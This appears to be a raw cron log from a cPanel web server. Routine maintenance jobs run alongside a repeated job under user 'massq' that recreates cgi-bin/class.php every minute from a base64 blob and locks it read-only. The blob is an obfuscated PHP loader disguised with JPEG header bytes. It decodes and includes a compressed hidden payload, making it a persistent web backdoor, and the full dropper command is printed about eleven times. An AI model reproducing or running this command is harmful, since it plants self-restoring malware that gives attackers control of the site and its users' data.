Sep  8 04:04:01 server CROND[18774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:05:01 server CROND[19307]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:05:01 server CROND[19309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:05:01 server CROND[19310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:05:01 server CROND[19312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:05:01 server CROND[19315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:05:01 server CROND[19314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:05:01 server CROND[19313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:05:01 server CROND[19311]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:06:01 server CROND[20164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:06:01 server CROND[20165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:06:01 server CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[20567]: finished imunify-antivirus.cron
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[11471]: starting logclean
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[20579]: finished logclean
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[11471]: starting logrotate
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[20591]: finished logrotate
Sep  8 04:07:00 server run-parts(/etc/cron.daily)[11471]: starting maldet
Sep  8 04:07:01 server CROND[21031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:07:01 server CROND[21032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:07:01 server CROND[21033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:08:01 server CROND[21397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:08:01 server CROND[21399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:08:01 server CROND[21398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:09:01 server CROND[21759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:09:01 server CROND[21760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:09:01 server CROND[21761]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 04:09:01 server CROND[21762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:10:01 server CROND[22285]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:10:01 server CROND[22290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:10:01 server CROND[22297]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:10:01 server CROND[22301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:10:01 server CROND[22298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:10:01 server CROND[22304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:10:01 server CROND[22299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:10:01 server CROND[22300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:11:01 server CROND[23299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:11:01 server CROND[23300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:11:01 server CROND[23301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:11:42 server run-parts(/etc/cron.daily)[24974]: finished maldet
Sep  8 04:11:42 server run-parts(/etc/cron.daily)[11471]: starting man-db.cron
Sep  8 04:11:43 server run-parts(/etc/cron.daily)[25055]: finished man-db.cron
Sep  8 04:11:43 server anacron[20056]: Job `cron.daily' terminated
Sep  8 04:11:43 server anacron[20056]: Normal exit (1 job run)
Sep  8 04:12:01 server CROND[25263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:12:01 server CROND[25264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:12:01 server CROND[25265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:12:01 server CROND[25266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:13:01 server CROND[25632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:13:01 server CROND[25633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:13:01 server CROND[25636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:14:01 server CROND[25995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:14:01 server CROND[25996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:14:01 server CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:15:01 server CROND[26484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:15:01 server CROND[26485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:15:01 server CROND[26486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:15:01 server CROND[26488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:15:01 server CROND[26493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:15:01 server CROND[26491]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 04:15:01 server CROND[26490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:15:01 server CROND[26489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:15:01 server CROND[26492]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 04:16:01 server CROND[27333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:16:01 server CROND[27334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
